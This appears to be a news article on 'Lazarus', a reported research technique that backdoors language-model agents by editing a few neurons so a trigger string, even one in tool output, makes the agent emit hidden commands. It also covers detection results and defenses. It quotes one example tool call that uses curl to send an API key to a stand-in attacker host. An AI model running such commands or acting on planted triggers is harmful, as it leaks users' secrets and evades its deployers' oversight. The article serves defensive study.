Microsoft researchers unveiled Lazarus, a technique that plants hidden malicious behavior in AI agents by editing a few neurons that normally have little effect on predictions. A specific string in an agent's conversation context makes the model emit hidden commands, which the agent can execute using its permitted tools. Model deployers and agent users must manage both the provenance of weights, the numerical values used to process inputs, and agent permissions.

1. Editing neurons to respond to a specific string

Attackers must be able to alter model weights before deployment. Lazarus changes dormant neurons in the final processing layer to emit attacker-chosen commands in response to a specific string. It links multiple neurons to complete commands in sequence. Rather than retrain the entire model, it edits selected neurons, with a variant that further optimizes only the edited weights.

Triggers can appear not only in the initial request but also in tool outputs received during a task. Reading a specific hostname during legitimate work, for example, can activate hidden commands. The agent runtime receives commands in its action format and executes them through tools.

The paper includes the following example from a terminal action trace.

{"name": "execute_bash",
"arguments": {"cmd": "curl -d k=REDACTED_KEY https://attacker.invalid/k"}}

2. Few edits achieved high success rates

According to the company, 7 of more than 12,000 neurons in Nemotron-Terminal-8B's final layer were edited. In settings where triggers appeared in tool outputs or elsewhere, researchers collected up to two model calls per task. They measured how often next-token predictions on recorded task traces contained the entire target command.

The company reported success rates of 98.80% with 23 training examples and 99.70% with 2,405 for the variant that further optimized edited weights. Evaluation used 1,009 task traces with triggers and 2,169 without them. No target-command leakage was observed in traces without triggers. Researchers interpreted the extra data as helping preserve predictions on normal inputs more than improving attack success.

For Qwen3.6-27B, 6 neurons were edited. The company reported success rates of 51.00% with 23 training examples and 83.70% with 2,393. These results show that the effect of training data can vary by model.

3. Combining weight traces improves detection

Researchers collected 114 edited and 103 unedited model checkpoints to evaluate a detector trained on weight features, clues extracted from weights. They trained on 151 checkpoints and evaluated on 35 edited and 31 clean ones. Without direct comparison to the original model, the detector examined patterns such as neuron weight magnitudes and directions.

The results below use the same evaluation data and decision threshold, according to the company. Construction-based features look for traces expected from the attack design, while AI-derived features examine magnitude relationships among weights.

Table: Detection of backdoors, features that activate malicious behavior under hidden conditions, by weight feature combination

Conditions: Paper Table 6; 151 training and 66 evaluation checkpoints (35 edited, 31 clean). Logistic regression, a statistical method for probabilistic classification, with an edited-probability decision threshold of 0.5.

Unit: %

Combining weight traces improves detection
Feature combinationEdited-model detection rateClean-model false positive rate, the share incorrectly flagged
3 construction-based features80.009.68
2 AI-derived features91.4332.26
All 5 features91.439.68

Under identical conditions, combining all features retained the AI-derived combination's detection rate while reducing false alarms on clean models. This provides a practical reason to combine multiple detection signals.

In separate tests asking models to inspect weights directly, the company reported that GPT-6 Astra identified 72.81% of edited models as tampered with but withheld judgment on 99.03% of clean models. Claude Opus 5.5 misclassified 41.23% of edited models as clean. Each inspection ran once in a separate session without a reference model, with a two-hour time limit.

4. Permission limits and provenance checks anchor defenses

The broader an agent's execution permissions, the greater the potential damage from a backdoor. Users and companies can verify model provenance, limit agent permissions to necessary tasks, monitor commands, file changes and external communications, and review important actions before execution. Model hubs and providers can compare weights against reference models and consider weight-level simulated attacks and disclosure of audit status.

Microsoft said it checks links to original publishers and the surrounding software environment when bringing open-weight models, whose weights are publicly downloadable, into Foundry. It is also developing or considering weight checks, attack-simulation tools and model signatures as added defenses. These signatures are electronic markers that help verify whether a model has been altered.

The edited models in the detection experiments were limited to variants of three base models. The paper notes that model signatures verify provenance and changes, rather than prove safety.

These defenses carry costs. Narrower permissions and approval requirements for important actions reduce agent automation, while weight audits add steps around model adoption and deployment. These procedures can identify models with unclear provenance or post-deployment changes and limit what backdoors can execute.

Lazarus shows that small weight edits can exploit agent permissions, making model provenance checks and execution limits basic deployment security practices.